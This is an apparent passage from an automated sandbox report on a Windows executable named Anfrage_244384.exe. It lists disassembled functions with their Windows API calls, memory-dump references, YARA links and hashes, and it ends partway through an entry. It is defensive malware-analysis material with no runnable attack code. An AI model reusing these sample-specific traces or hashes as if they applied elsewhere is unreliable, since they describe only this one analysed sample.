                                                        • Opcode ID: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                        • Instruction ID: e91595cf43b51ebfb07aaa5ef395d3110d573e6c70d377c823b3106e64d9cd55
                                                        • Opcode Fuzzy Hash: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                        • Instruction Fuzzy Hash: 9611E371A00205EFDB20CF60CA985AEBBB4AF10359F20443FE042B72C0D2B88A85DB19
                                                        Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                        • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID:
                                                        • API String ID: 3850602802-0
                                                        • Opcode ID: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                        • Instruction ID: 86e07a789f87ce41f875dd809bfef8a2c44af10f02abad90d5e7e67c6ed0449b
                                                        • Opcode Fuzzy Hash: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                        • Instruction Fuzzy Hash: 6C01F4317242109BE7199B399D04B6A3698E710719F54823FF852F61F1D678DC038B4C
                                                        Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 0040239F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CloseDeleteOpenValue
                                                        • String ID:
                                                        • API String ID: 849931509-0
                                                        • Opcode ID: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                        • Instruction ID: e00662a738be89c3cfbff0ecf138b3afd2420e904d99b7d2952bcd9b842c0734
                                                        • Opcode Fuzzy Hash: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                        • Instruction Fuzzy Hash: 39F0AF72A00111ABDB20BFA09B8EABE72B89B40354F24003BF241B71C0D9FD8D029769
                                                        Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
                                                        • lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: EnvironmentExpandStringslstrcmp
                                                        • String ID:
                                                        • API String ID: 1938659011-0
                                                        • Opcode ID: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                        • Instruction ID: 71b0070a6829c7cde886a334cb24b035409c21bf23b10b7f61276c16d8a13fe4
                                                        • Opcode Fuzzy Hash: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                        • Instruction Fuzzy Hash: C4F08231705201EBCF20DF659E45A9B7FA8EF91354B10403BE145F6190D6788542DA6C
                                                        Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShowWindow.USER32(00000000,00000000), ref: 00401E43
                                                        • EnableWindow.USER32(00000000,00000000), ref: 00401E4E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Window$EnableShow
                                                        • String ID:
                                                        • API String ID: 1136574915-0
                                                        • Opcode ID: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                        • Instruction ID: 766ce69f8d9f29119b9d93d8ed06da5c6cb9de514c9912c491c81b05177acf23
                                                        • Opcode Fuzzy Hash: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                        • Instruction Fuzzy Hash: 40E01272B04211AFE714EBB5EA895AE7BB4EF40325B20403BE441F21D1DA7949419B5D
                                                        Function 0040615C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • Part of subcall function 004060EE: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                          • Part of subcall function 004060EE: wsprintfA.USER32 ref: 0040613E
                                                          • Part of subcall function 004060EE: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                        • String ID:
                                                        • API String ID: 2547128583-0
                                                        • Opcode ID: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                        • Instruction ID: fe74a3adc9e6e91e185966662b1f988274032fa32bcfbda24cecdfcd84f5f1f8
                                                        • Opcode Fuzzy Hash: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                        • Instruction Fuzzy Hash: 94E08632604211ABD6115A749E0493B63A89F84740302443EF556F6181DB38DC3296AD
                                                        Function 00405A36 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                        • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: File$AttributesCreate
                                                        • String ID:
                                                        • API String ID: 415043291-0
                                                        • Opcode ID: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                        • Instruction ID: c63a2702068139c3e9e84e7d8e4b9ff8807d85cc1eea12f828f76e542108ca00
                                                        • Opcode Fuzzy Hash: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                        • Instruction Fuzzy Hash: 4ED09E31254301EFEF098F20DE16F2EBAA2EB84B01F11552CBA82950E0DA7158199B15
                                                        Function 0040551F Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateDirectoryA.KERNELBASE(?,00000000,00403196,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405525
                                                        • GetLastError.KERNEL32 ref: 00405533
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CreateDirectoryErrorLast
                                                        • String ID:
                                                        • API String ID: 1375471231-0
                                                        • Opcode ID: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                        • Instruction ID: 6753ad635049e665ee29f65e98c6a641fb529068fc3dcc6b05b24214ffa30412
                                                        • Opcode Fuzzy Hash: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                        • Instruction Fuzzy Hash: 2FC04C70255901EBDB515F20AF087177965AB60781F564839618AE10E4DA748415D92D
                                                        Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: wsprintf
                                                        • String ID:
                                                        • API String ID: 2111968516-0
                                                        • Opcode ID: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                        • Instruction ID: 05ba47fdecc3ea63c4ababd7ecb476dc6fb20db578e5a9eb58a554c529b3a997
                                                        • Opcode Fuzzy Hash: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                        • Instruction Fuzzy Hash: 6021C970D0429AFADF218B9885486AEBF749F11314F1445BFE894B63D1C1BE8A81CF19
                                                        Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MoveFileA.KERNEL32(00000000,00000000), ref: 00401685
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FileMove
                                                        • String ID:
                                                        • API String ID: 3562171763-0
                                                        • Opcode ID: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                        • Instruction ID: af85bf01cb9a50de78f0d69bccb7876c1bca0e6a55c196669191a5ce7f6391a1
                                                        • Opcode Fuzzy Hash: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                        • Instruction Fuzzy Hash: E6F09031B08225A3DB20B7B64F0DD5F11649B82368B34027BF111B21D1DABD860296AE
                                                        Function 00402695 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026B3
                                                          • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FilePointerwsprintf
                                                        • String ID:
                                                        • API String ID: 327478801-0
                                                        • Opcode ID: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                        • Instruction ID: 70d0227debc7a37a578d7891b0457e087c522133a583d4ed7425beec3b860107
                                                        • Opcode Fuzzy Hash: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                        • Instruction Fuzzy Hash: 40E012B1B04119ABD701EB95AE898BF7BA9DF50329F10843BF141F10D1C67E49429B2D
                                                        Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: PrivateProfileStringWrite
                                                        • String ID:
                                                        • API String ID: 390214022-0
                                                        • Opcode ID: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                        • Instruction ID: 835d7e161f894c1f3c63ad3b4a4a0fef325150ad5848be7be1b76146568c1c9e
                                                        • Opcode Fuzzy Hash: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                        • Instruction Fuzzy Hash: 9EE04F31B001246BD7307AB10F8E97F10999BC4304B39153EBA01B62C6EDBC4C414AB9
                                                        Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: PathSearch
                                                        • String ID:
                                                        • API String ID: 2203818243-0
                                                        • Opcode ID: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                        • Instruction ID: ffb32fe50564557a3c315a30f6fc07dc6475dfcf7bd80787db6a7ea0a2c14a15
                                                        • Opcode Fuzzy Hash: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                        • Instruction Fuzzy Hash: B2E020B1304111ABD710DF54DE48EAB3B58DF10368F30413AF151F60C0D5FA5945A738
                                                        Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Open
                                                        • String ID:
                                                        • API String ID: 71445658-0
                                                        • Opcode ID: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                        • Instruction ID: 602783241e3b5571dba8f65d987ce24de14800ae8f8c1c2312d958f7963b7942
                                                        • Opcode Fuzzy Hash: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                        • Instruction Fuzzy Hash: 4EE04F76250108BADB00EFA4EE46F9537ECE744700F008435B608E61A1C674E5408B68
                                                        Function 00405ADD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040310E,00000000,00415420,000000FF,00415420,000000FF,000000FF,00000004,00000000), ref: 00405AF1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FileWrite
                                                        • String ID:
                                                        • API String ID: 3934441357-0
                                                        • Opcode ID: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                        • Instruction ID: 1ed90d873f298f356d36a2c1dae4bb172ade26fd4588ec9ef5a2339dc9f33d8e
                                                        • Opcode Fuzzy Hash: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                        • Instruction Fuzzy Hash: 11E0EC3221425AABDF609E65DC04AEB7B7CFB05360F014436F925E6190D631F821DFA5
                                                        Function 00405AAE Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403158,00000000,00000000,00402F82,000000FF,00000004,00000000,00000000,00000000), ref: 00405AC2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FileRead
                                                        • String ID:
                                                        • API String ID: 2738559852-0
                                                        • Opcode ID: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                        • Instruction ID: e0af876c1f8b3f6a8543b45de02fe6ba5ae560271bae9c5b6a9092efc5817470
                                                        • Opcode Fuzzy Hash: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                        • Instruction Fuzzy Hash: FCE0463220029AABCF10AE509C40AAB3B6CEB00261F104832B916E3080E2B0E8209FA4
                                                        Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                        Memory Dump Source
